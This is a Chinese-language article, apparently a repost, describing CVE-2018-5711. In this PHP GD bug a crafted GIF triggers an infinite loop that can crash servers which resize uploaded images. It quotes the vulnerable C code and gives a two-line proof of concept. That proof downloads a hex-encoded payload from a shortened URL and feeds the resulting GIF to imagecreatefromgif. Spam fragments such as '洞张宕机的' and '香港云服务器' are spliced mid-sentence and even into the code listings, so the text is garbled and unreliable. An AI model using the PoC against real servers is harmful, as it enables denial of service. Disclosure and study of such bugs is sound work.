最近,漏漏洞台湾Web漏洞挖掘大牛Orange Tsai在对一些Web开发框架和程序实现模块进行安全审核的洞张宕机的过程中,发现了一些有意思的让服漏洞。就比如说,漏漏洞这个PHP的洞张宕机的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,让服在现实中非常容易利用。漏漏洞在此,洞张宕机的Orange Tsai简单地介绍了这个漏洞。让服
漏洞影响的漏漏洞PHP版本 包含以下PHP系列和其它所有PHP版本
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1
漏洞细节 漏洞存在于文件ext/gd/libgd/gdgifin.c中,其中在LWZReadByte_函数中存在一个循环(while-loop):
do { sd->firstcode = sd->oldcode = GetCode(fd,洞张宕机的 &sd->scd, sd->code_size, FALSE, ZeroDataBlockP); } while (sd->firstcode == sd->clear_code);GetCode函数仅只是一个包装类,GetCode_才是香港云服务器让服真正的执行体:
static int GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP) { int i, j, ret; unsigned char count; ... if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0) scd->done = TRUE; ... }GetCode_ 会调用GetDataBlock来读取GIF图片中的数据:
static int GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP) { unsigned char count; if (! ReadOK(fd,&count,1)) { return -1; } *ZeroDataBlockP = count == 0; if ((count != 0) && (! ReadOK(fd, buf, count))) { return -1; } return count; }以上就是涉及到的漏洞代码,你有发现一些端倪吗?漏漏洞
该漏洞依赖于从整形(int)到无符号字符(unsigned char)的类型转换。就像上述的洞张宕机的:如果GetDataBlock_返回-1,则第400行中的让服scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,站群服务器所以这种循环停止动作是不会被触发执行的。
因此,最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。
PoC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif $ php -r imagecreatefromgif("poc.gif"); Infinite loop here...由于现实网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。
后记 Orange Tsai后续会公开更多0-day和与该漏洞相关的内容。
漏洞参考:
https://bugs.php.net/bug.php?id=75571
http://php.net/ChangeLog-7.php
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711